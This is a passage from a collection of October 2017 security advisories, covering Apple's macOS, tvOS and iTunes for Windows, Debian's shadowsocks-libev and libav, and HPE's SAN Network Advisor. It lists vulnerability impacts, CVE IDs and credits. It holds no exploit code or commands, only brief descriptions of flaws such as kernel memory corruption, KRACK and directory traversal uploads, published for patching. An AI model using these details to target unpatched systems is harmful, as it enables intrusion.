CVE-2017-1000100: Even Rouault, found by OSS-Fuzz
curl
Available for: macOS High Sierra 10.13, macOS Sierra 10.12.6, OS X El
Capitan 10.11.6
Impact: Processing a maliciously crafted URL with libcurl may cause
unexpected application termination or read process memory
Description: An out-of-bounds read was addressed with improved bounds
checking.
CVE-2017-1000101: Brian Carpenter, Yongji Ouyang
Dictionary Widget
Available for: macOS High Sierra 10.13, macOS Sierra 10.12.6, OS X El
Capitan 10.11.6
Impact: Searching pasted text in the Dictionary widget may lead to
compromise of user information
Description: A validation issue existed which allowed local file
access. This was addressed with input sanitization.
CVE-2017-13801: xisigr of Tencent's Xuanwu Lab (tencent.com)
file
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: Multiple issues in file
Description: Multiple issues were addressed by updating to version
5.31.
CVE-2017-13815
Fonts
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: Rendering untrusted text may lead to spoofing
Description: An inconsistent user interface issue was addressed with
improved state management.
CVE-2017-13828: an anonymous researcher
fsck_msdos
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-13811: an anonymous researcher
Heimdal
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: An attacker in a privileged network position may be able
to impersonate a service
Description: A validation issue existed in the handling of
the KDC-REP service name. This issue was addressed through improved
validation.
CVE-2017-11103: Jeffrey Altman, Viktor Duchovni, and Nico Williams
HelpViewer
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: A quarantined HTML file may execute arbitrary JavaScript
cross-origin
Description: A cross-site scripting issue existed in HelpViewer. This
issue was addressed by removing the affected file.
CVE-2017-13819: an anonymous researcher
HFS
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-13830: Sergej Schumilo of Ruhr-University Bochum
ImageIO
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: Processing a maliciously crafted image may lead to arbitrary
code execution
Description: A memory corruption issue was addressed through improved
input validation.
CVE-2017-13814: Australian Cyber Security Centre – Australian Signals
Directorate
ImageIO
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: Processing a maliciously crafted image may lead to a denial
of service
Description: An information disclosure issue existed in the
processing of disk images. This issue was addressed through improved
memory management.
CVE-2017-13831: an anonymous researcher
Kernel
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: A local user may be able to leak sensitive user information
Description: A permissions issue existed in kernel packet counters.
This issue was addressed through improved permission validation.
CVE-2017-13810: an anonymous researcher
Kernel
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: A local user may be able to read kernel memory
Description: An out-of-bounds read issue existed that led to the
disclosure of kernel memory. This was addressed through improved
input validation.
CVE-2017-13817: Maxime Villard (m00nbsd)
Kernel
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2017-13818: The UK's National Cyber Security Centre (NCSC)
CVE-2017-13836: an anonymous researcher, an anonymous researcher
CVE-2017-13841: an anonymous researcher
CVE-2017-13840: an anonymous researcher
CVE-2017-13842: an anonymous researcher
CVE-2017-13782: Kevin Backhouse of Semmle Ltd.
Kernel
Available for: macOS High Sierra 10.13, macOS Sierra 10.12.6
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-13799: an anonymous researcher
Kernel
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-13843: an anonymous researcher
Kernel
Available for: macOS Sierra 10.12.6
Impact: Processing a malformed mach binary may lead to arbitrary code
execution
Description: A memory corruption issue was addressed through improved
validation.
CVE-2017-13834: Maxime Villard (m00nbsd)
libarchive
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: Unpacking a maliciously crafted archive may lead to arbitrary
code execution
Description: A buffer overflow issue was addressed through improved
memory handling.
CVE-2017-13813: found by OSS-Fuzz
CVE-2017-13816: found by OSS-Fuzz
libarchive
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: Unpacking a maliciously crafted archive may lead to arbitrary
code execution
Description: Multiple memory corruption issues existed in libarchive.
These issues were addressed through improved input validation.
CVE-2017-13812: found by OSS-Fuzz
libarchive
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2016-4736: Proteas of Qihoo 360 Nirvan Team
Open Scripting Architecture
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: Decompiling an AppleScript with osadecompile may lead to
arbitrary code execution
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-13824: an anonymous researcher
PCRE
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: Multiple issues in pcre
Description: Multiple issues were addressed by updating to version
8.40.
CVE-2017-13846
Postfix
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: Multiple issues in Postfix
Description: Multiple issues were addressed by updating to version
3.2.2.
CVE-2017-13826: an anonymous researcher
Quick Look
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2017-13822: Australian Cyber Security Centre – Australian Signals
Directorate
Quick Look
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: Parsing a maliciously crafted office document may lead to an
unexpected application termination or arbitrary code execution
Description: A memory consumption issue was addressed through
improved memory handling.
CVE-2017-7132: Australian Cyber Security Centre – Australian Signals
Directorate
QuickTime
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2017-13823: an anonymous researcher
Remote Management
Available for: macOS Sierra 10.12.6
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-13808: an anonymous researcher
Sandbox
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-13838: an anonymous researcher
StreamingZip
Available for: macOS High Sierra 10.13, macOS Sierra 10.12.6, OS X El
Capitan 10.11.6
Impact: A malicious zip file may be able modify restricted areas of
the file system
Description: A path handling issue was addressed with improved
validation.
CVE-2017-13804: @qwertyoruiopz at KJC Research Intl. S.R.L.
tcpdump
Available for: macOS High Sierra 10.13, macOS Sierra 10.12.6
Impact: Multiple issues in tcpdump
Description: Multiple issues were addressed by updating to version
4.9.2.
CVE-2017-11108
CVE-2017-11541
CVE-2017-11542
CVE-2017-11543
CVE-2017-12893
CVE-2017-12894
CVE-2017-12895
CVE-2017-12896
CVE-2017-12897
CVE-2017-12898
CVE-2017-12899
CVE-2017-12900
CVE-2017-12901
CVE-2017-12902
CVE-2017-12985
CVE-2017-12986
CVE-2017-12987
CVE-2017-12988
CVE-2017-12989
CVE-2017-12990
CVE-2017-12991
CVE-2017-12992
CVE-2017-12993
CVE-2017-12994
CVE-2017-12995
CVE-2017-12996
CVE-2017-12997
CVE-2017-12998
CVE-2017-12999
CVE-2017-13000
CVE-2017-13001
CVE-2017-13002
CVE-2017-13003
CVE-2017-13004
CVE-2017-13005
CVE-2017-13006
CVE-2017-13007
CVE-2017-13008
CVE-2017-13009
CVE-2017-13010
CVE-2017-13011
CVE-2017-13012
CVE-2017-13013
CVE-2017-13014
CVE-2017-13015
CVE-2017-13016
CVE-2017-13017
CVE-2017-13018
CVE-2017-13019
CVE-2017-13020
CVE-2017-13021
CVE-2017-13022
CVE-2017-13023
CVE-2017-13024
CVE-2017-13025
CVE-2017-13026
CVE-2017-13027
CVE-2017-13028
CVE-2017-13029
CVE-2017-13030
CVE-2017-13031
CVE-2017-13032
CVE-2017-13033
CVE-2017-13034
CVE-2017-13035
CVE-2017-13036
CVE-2017-13037
CVE-2017-13038
CVE-2017-13039
CVE-2017-13040
CVE-2017-13041
CVE-2017-13042
CVE-2017-13043
CVE-2017-13044
CVE-2017-13045
CVE-2017-13046
CVE-2017-13047
CVE-2017-13048
CVE-2017-13049
CVE-2017-13050
CVE-2017-13051
CVE-2017-13052
CVE-2017-13053
CVE-2017-13054
CVE-2017-13055
CVE-2017-13687
CVE-2017-13688
CVE-2017-13689
CVE-2017-13690
CVE-2017-13725
Wi-Fi
Available for: macOS High Sierra 10.13, macOS Sierra 10.12.6, OS X El
Capitan 10.11.6
Impact: An attacker in Wi-Fi range may force nonce reuse in WPA
clients (Key Reinstallation Attacks - KRACK)
Description: A logic issue existed in the handling of state
transitions. This was addressed with improved state management.
CVE-2017-13077: Mathy Vanhoef of the imec-DistriNet group at KU
Leuven
CVE-2017-13078: Mathy Vanhoef of the imec-DistriNet group at KU
Leuven
CVE-2017-13080: Mathy Vanhoef of the imec-DistriNet group at KU
Leuven
Installation note:
macOS High Sierra 10.13.1 may be obtained from the Mac App Store or
Apple's Software Downloads web site:
https://www.apple.com/support/downloads/
Information will also be posted to the Apple Security Updates
web site: https://support.apple.com/kb/HT201222
APPLE-SA-2017-10-31-11 Additional information for APPLE-SA-2017-09-20-3 tvOS 11
APPLE-SA-2017-10-31-11
Additional information for APPLE-SA-2017-09-20-3 tvOS 11
tvOS 11 addresses the following:
802.1X
Available for: Apple TV (4th generation)
Impact: An attacker may be able to exploit weaknesses in TLS 1.0
Description: A protocol security issue was addressed by enabling TLS
1.1 and TLS 1.2.
CVE-2017-13832: an anonymous researcher
Entry added October 31, 2017
CFNetwork Proxies
Available for: Apple TV (4th generation)
Impact: An attacker in a privileged network position may be able to
cause a denial of service
Description: Multiple denial of service issues were addressed through
improved memory handling.
CVE-2017-7083: Abhinav Bansal of Zscaler Inc.
CoreAudio
Available for: Apple TV (4th generation)
Impact: An application may be able to read restricted memory
Description: An out-of-bounds read was addressed by updating to Opus
version 1.1.4.
CVE-2017-0381: V.E.O (@VYSEa) of Mobile Threat Research Team, Trend
Micro
CoreText
Available for: Apple TV (4th generation)
Impact: Processing a maliciously crafted font file may lead to
arbitrary code execution
Description: A memory consumption issue was addressed through
improved memory handling.
CVE-2017-13825: Australian Cyber Security Centre – Australian Signals
Directorate
Entry added October 31, 2017
file
Available for: Apple TV (4th generation)
Impact: Multiple issues in file
Description: Multiple issues were addressed by updating to version
5.31.
CVE-2017-13815
Entry added October 31, 2017
Fonts
Available for: Apple TV (4th generation)
Impact: Rendering untrusted text may lead to spoofing
Description: An inconsistent user interface issue was addressed with
improved state management.
CVE-2017-13828: an anonymous researcher
Entry added October 31, 2017
HFS
Available for: Apple TV (4th generation)
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-13830: Sergej Schumilo of Ruhr-University Bochum
Entry added October 31, 2017
ImageIO
Available for: Apple TV (4th generation)
Impact: Processing a maliciously crafted image may lead to arbitrary
code execution
Description: A memory corruption issue was addressed through improved
input validation.
CVE-2017-13814: Australian Cyber Security Centre – Australian Signals
Directorate
Entry added October 31, 2017
ImageIO
Available for: Apple TV (4th generation)
Impact: Processing a maliciously crafted image may lead to a denial
of service
Description: An information disclosure issue existed in the
processing of disk images. This issue was addressed through improved
memory management.
CVE-2017-13831: an anonymous researcher
Entry added October 31, 2017
Kernel
Available for: Apple TV (4th generation)
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-7114: Alex Plaskett of MWR InfoSecurity
Kernel
Available for: Apple TV (4th generation)
Impact: A local user may be able to read kernel memory
Description: An out-of-bounds read issue existed that led to the
disclosure of kernel memory. This was addressed through improved
input validation.
CVE-2017-13817: Maxime Villard (m00nbsd)
Entry added October 31, 2017
Kernel
Available for: Apple TV (4th generation)
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2017-13818: The UK's National Cyber Security Centre (NCSC)
CVE-2017-13836: an anonymous researcher, an anonymous researcher
CVE-2017-13841: an anonymous researcher
CVE-2017-13840: an anonymous researcher
CVE-2017-13842: an anonymous researcher
CVE-2017-13782: Kevin Backhouse of Semmle Ltd.
Entry added October 31, 2017
Kernel
Available for: Apple TV (4th generation)
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-13843: an anonymous researcher
Entry added October 31, 2017
Kernel
Available for: Apple TV (4th generation)
Impact: Processing a malformed mach binary may lead to arbitrary code
execution
Description: A memory corruption issue was addressed through improved
validation.
CVE-2017-13834: Maxime Villard (m00nbsd)
Entry added October 31, 2017
libarchive
Available for: Apple TV (4th generation)
Impact: Unpacking a maliciously crafted archive may lead to arbitrary
code execution
Description: A buffer overflow issue was addressed through improved
memory handling.
CVE-2017-13813: found by OSS-Fuzz
CVE-2017-13816: found by OSS-Fuzz
Entry added October 31, 2017
libarchive
Available for: Apple TV (4th generation)
Impact: Unpacking a maliciously crafted archive may lead to arbitrary
code execution
Description: Multiple memory corruption issues existed in libarchive.
These issues were addressed through improved input validation.
CVE-2017-13812: found by OSS-Fuzz
Entry added October 31, 2017
libc
Available for: Apple TV (4th generation)
Impact: A remote attacker may be able to cause a denial-of-service
Description: A resource exhaustion issue in glob() was addressed
through an improved algorithm.
CVE-2017-7086: Russ Cox of Google
libc
Available for: Apple TV (4th generation)
Impact: An application may be able to cause a denial of service
Description: A memory consumption issue was addressed through
improved memory handling.
CVE-2017-1000373
libexpat
Available for: Apple TV (4th generation)
Impact: Multiple issues in expat
Description: Multiple issues were addressed by updating to version
2.2.1
CVE-2016-9063
CVE-2017-9233
Quick Look
Available for: Apple TV (4th generation)
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2017-13822: Australian Cyber Security Centre – Australian Signals
Directorate
Entry added October 31, 2017
Security
Available for: Apple TV (4th generation)
Impact: A revoked certificate may be trusted
Description: A certificate validation issue existed in the handling
of revocation data. This issue was addressed through improved
validation.
CVE-2017-7080: an anonymous researcher, an anonymous researcher, Sven
Driemecker of adesso mobile solutions gmbh, Rune Darrud
(@theflyingcorpse) of Bærum kommune
SQLite
Available for: Apple TV (4th generation)
Impact: Multiple issues in SQLite
Description: Multiple issues were addressed by updating to version
3.19.3.
CVE-2017-10989: found by OSS-Fuzz
CVE-2017-7128: found by OSS-Fuzz
CVE-2017-7129: found by OSS-Fuzz
CVE-2017-7130: found by OSS-Fuzz
SQLite
Available for: Apple TV (4th generation)
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-7127: an anonymous researcher
WebKit
Available for: Apple TV (4th generation)
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: A memory corruption issue was addressed through improved
input validation.
CVE-2017-7081: Apple
WebKit
Available for: Apple TV (4th generation)
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: Multiple memory corruption issues were addressed with
improved memory handling.
CVE-2017-7087: Apple
CVE-2017-7091: Wei Yuan of Baidu Security Lab working with Trend
Micro's Zero Day Initiative
CVE-2017-7092: Qixun Zhao (@S0rryMybad) of Qihoo 360 Vulcan Team,
Samuel Gro and Niklas Baumstark working with Trend Micro's Zero Day
Initiative
CVE-2017-7093: Samuel Gro and Niklas Baumstark working with Trend
Micro's Zero Day Initiative
CVE-2017-7094: Tim Michaud (@TimGMichaud) of Leviathan Security Group
CVE-2017-7095: Wang Junjie, Wei Lei, and Liu Yang of Nanyang
Technological University working with Trend Micro's Zero Day
Initiative
CVE-2017-7096: Wei Yuan of Baidu Security Lab
CVE-2017-7098: Felipe Freitas of Instituto Tecnológico de Aeronáutica
CVE-2017-7099: Apple
CVE-2017-7100: Masato Kinugawa and Mario Heiderich of Cure53
CVE-2017-7102: Wang Junjie, Wei Lei, and Liu Yang of Nanyang
Technological University
CVE-2017-7104: likemeng of Baidu Secutity Lab
CVE-2017-7107: Wang Junjie, Wei Lei, and Liu Yang of Nanyang
Technological University
CVE-2017-7111: likemeng of Baidu Security Lab (xlab.baidu.com)
working with Trend Micro's Zero Day Initiative
CVE-2017-7117: lokihardt of Google Project Zero
CVE-2017-7120: chenqin (陈钦) of Ant-financial Light-Year Security
Lab
WebKit
Available for: Apple TV (4th generation)
Impact: Cookies belonging to one origin may be sent to another origin
Description: A permissions issue existed in the handling of web
browser cookies. This issue was addressed by no longer returning
cookies for custom URL schemes.
CVE-2017-7090: Apple
WebKit
Available for: Apple TV (4th generation)
Impact: Processing maliciously crafted web content may lead to a
cross site scripting attack
Description: Application Cache policy may be unexpectedly applied.
CVE-2017-7109: avlidienbrunn
Wi-Fi
Available for: Apple TV (4th generation)
Impact: An attacker within range may be able to execute arbitrary
code on the Wi-Fi chip
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-11120: Gal Beniamini of Google Project Zero
CVE-2017-11121: Gal Beniamini of Google Project Zero
Wi-Fi
Available for: Apple TV (4th generation)
Impact: Malicious code executing on the Wi-Fi chip may be able to
execute arbitrary code with kernel privileges on the application
processor
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-7103: Gal Beniamini of Google Project Zero
CVE-2017-7105: Gal Beniamini of Google Project Zero
CVE-2017-7108: Gal Beniamini of Google Project Zero
CVE-2017-7110: Gal Beniamini of Google Project Zero
CVE-2017-7112: Gal Beniamini of Google Project Zero
Wi-Fi
Available for: Apple TV (4th generation)
Impact: Malicious code executing on the Wi-Fi chip may be able to
execute arbitrary code with kernel privileges on the application
processor
Description: Multiple race conditions were addressed through improved
validation.
CVE-2017-7115: Gal Beniamini of Google Project Zero
Wi-Fi
Available for: Apple TV (4th generation)
Impact: Malicious code executing on the Wi-Fi chip may be able to
read restricted kernel memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2017-7116: Gal Beniamini of Google Project Zero
zlib
Available for: Apple TV (4th generation)
Impact: Multiple issues in zlib
Description: Multiple issues were addressed by updating to version
1.2.11.
CVE-2016-9840
CVE-2016-9841
CVE-2016-9842
CVE-2016-9843
Installation note:
Apple TV will periodically check for software updates. Alternatively,
you may manually check for software updates by selecting
"Settings -> System -> Software Update -> Update Software."
To check the current version of software, select
"Settings -> General -> About."
Information will also be posted to the Apple Security Updates
web site: https://support.apple.com/kb/HT201222
APPLE-SA-2017-10-31-6 iTunes 12.7.1 for Windows
PPLE-SA-2017-10-31-6 iTunes 12.7.1 for Windows
iTunes 12.7.1 for Windows is now available and addresses the
following:
WebKit
Available for: Windows 7 and later
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: Multiple memory corruption issues were addressed with
improved memory handling.
CVE-2017-13785: Ivan Fratric of Google Project Zero
CVE-2017-13784: Ivan Fratric of Google Project Zero
CVE-2017-13783: Ivan Fratric of Google Project Zero
CVE-2017-13788: xisigr of Tencent's Xuanwu Lab (tencent.com)
CVE-2017-13798: Ivan Fratric of Google Project Zero
CVE-2017-13795: Ivan Fratric of Google Project Zero
CVE-2017-13802: Ivan Fratric of Google Project Zero
CVE-2017-13792: Ivan Fratric of Google Project Zero
CVE-2017-13794: Ivan Fratric of Google Project Zero
CVE-2017-13791: Ivan Fratric of Google Project Zero
CVE-2017-13796: Ivan Fratric of Google Project Zero
CVE-2017-13793: Hanul Choi working with Trend Micro's Zero Day
Initiative
CVE-2017-13803: chenqin (陈钦) of Ant-financial Light-Year Security
Installation note:
iTunes 12.7.1 for Windows may be obtained from:
https://www.apple.com/itunes/download/
Information will also be posted to the Apple Security Updates
web site: https://support.apple.com/kb/HT201222
[SECURITY] [DSA 4009-1] shadowsocks-libev security update
- -------------------------------------------------------------------------
Debian Security Advisory DSA-4009-1 security@debian.org
https://www.debian.org/security/ Moritz Muehlenhoff
October 29, 2017 https://www.debian.org/security/faq
- -------------------------------------------------------------------------
Package : shadowsocks-libev
CVE ID : CVE-2017-15924
Niklas Abel discovered that insufficient input sanitising in the the
ss-manager component of shadowsocks-libev, a lightweight socks5 proxy,
could result in arbitrary shell command execution.
For the stable distribution (stretch), this problem has been fixed in
version 2.6.3+ds-3+deb9u1.
We recommend that you upgrade your shadowsocks-libev packages.
Further information about Debian Security Advisories, how to apply
these updates to your system and frequently asked questions can be
found at: https://www.debian.org/security/
[SECURITY] [DSA 4012-1] libav security update
- -------------------------------------------------------------------------
Debian Security Advisory DSA-4012-1 security@debian.org
https://www.debian.org/security/ Moritz Muehlenhoff
October 31, 2017 https://www.debian.org/security/faq
- -------------------------------------------------------------------------
Package : libav
CVE ID : CVE-2015-8365 CVE-2017-7208 CVE-2017-7862 CVE-2017-9992
Several security issues have been corrected in multiple demuxers and
decoders of the libav multimedia library. A full list of the changes is
available at
https://git.libav.org/?p=libav.git;a=blob;f=Changelog;hb=refs/tags/v11.11
For the oldstable distribution (jessie), these problems have been fixed
in version 6:11.11-1~deb8u1.
We recommend that you upgrade your libav packages.
Further information about Debian Security Advisories, how to apply
these updates to your system and frequently asked questions can be
found at: https://www.debian.org/security/
[security bulletin] HPESBHF03785 rev.1 - HPE B-Series SAN Network Advisor Software, Multiple Remote Vulnerabilities
Note: the current version of the following document is available here:
https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03785en_us
SUPPORT COMMUNICATION - SECURITY BULLETIN
Document ID: hpesbhf03785en_us
Version: 1
HPESBHF03785 rev.1 - HPE B-Series SAN Network Advisor Software, Multiple Remote Vulnerabilities
NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.
Release Date: 2017-10-17
Last Updated: 2017-10-17
Potential Security Impact: Remote: Multiple Vulnerabilities
Source: Hewlett Packard Enterprise, Product Security Response Team
VULNERABILITY SUMMARY
HPE B-Series SAN Network Advisor Software versions released prior to and including v14.0.2 contain several remotely exploitable Directory Traversal
Vulnerabilities:
* A FileReceiveServlet vulnerability could allow remote attackers to upload malicious file in a section of the file system where it can be executed.
* A DashboardFileReceiveServlet vulnerability could allow remote attackers to upload malicious file in a section of the file system where it can be executed.
* A SoftwareImageUpload vulnerability could allow remote attackers to write to arbitrary files, and consequently delete the files.
* A CliMonitorReportServlet vulnerability could allow remote attackers to read arbitrary files including files with sensitive user information.
References:
- CVE-2016-8204 - Brocade Network Advisor
- CVE-2016-8205 - Brocade Network Advisor
- CVE-2016-8206 - Brocade Network Advisor
- CVE-2016-8207 - Brocade Network Advisor
SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
- HP B-series SAN Network Advisor Software 14.0.2 and prior
BACKGROUND
CVSS Base Metrics
=================
Reference, CVSS V3 Score/Vector, CVSS V2 Score/Vector
CVE-2016-8204
10.0 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
CVE-2016-8205
10.0 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
CVE-2016-8206
6.5 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
6.4 (AV:N/AC:L/Au:N/C:N/I:P/A:P)
CVE-2016-8207
5.3 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
5.0 (AV:N/AC:L/Au:N/C:P/I:N/A:N)
Information on CVSS is documented in
HPE Customer Notice HPSN-2008-002 here:
https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c01345499
RESOLUTION
HPE has provided an update to HPE B-Series SAN Network Advisor Software to address the vulnerabilities.
* HPE B-Series SAN Network Advisor 14.0.3 and later
* HPE B-Series SAN Network Advisor 14.1.1 and later
HISTORY
Version:1 (rev.1) - 17 October 2017 Initial release
Third Party Security Patches: Third party security patches that are to be installed on systems running Hewlett Packard Enterprise (HPE) software products should be applied in accordance with the customer's patch management policy.
Support: For issues about implementing the recommendations of this Security Bulletin, contact normal HPE Services support channel. For other issues about the content of this Security Bulletin, send e-mail to security-alert@hpe.com.
Report: To report a potential security vulnerability for any HPE supported
product:
Web form: https://www.hpe.com/info/report-security-vulnerability
Email: security-alert@hpe.com
Subscribe: To initiate a subscription to receive future HPE Security Bulletin alerts via Email: http://www.hpe.com/support/Subscriber_Choice
Security Bulletin Archive: A list of recently released Security Bulletins is available here: http://www.hpe.com/support/Security_Bulletin_Archive
Software Product Category: The Software Product Category is represented in the title by the two characters following HPSB.
3C = 3COM
3P = 3rd Party Software
GN = HPE General Software
HF = HPE Hardware and Firmware
MU = Multi-Platform Software
NS = NonStop Servers
OV = OpenVMS
PV = ProCurve
ST = Storage Software
UX = HP-UX
Copyright 2016 Hewlett Packard Enterprise
Hewlett Packard Enterprise shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental,special or consequential damages including downtime cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett Packard Enterprise and the names of Hewlett Packard Enterprise products referenced herein are trademarks of Hewlett Packard Enterprise in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners.
Užsisakykite:
Pranešimai (Atom)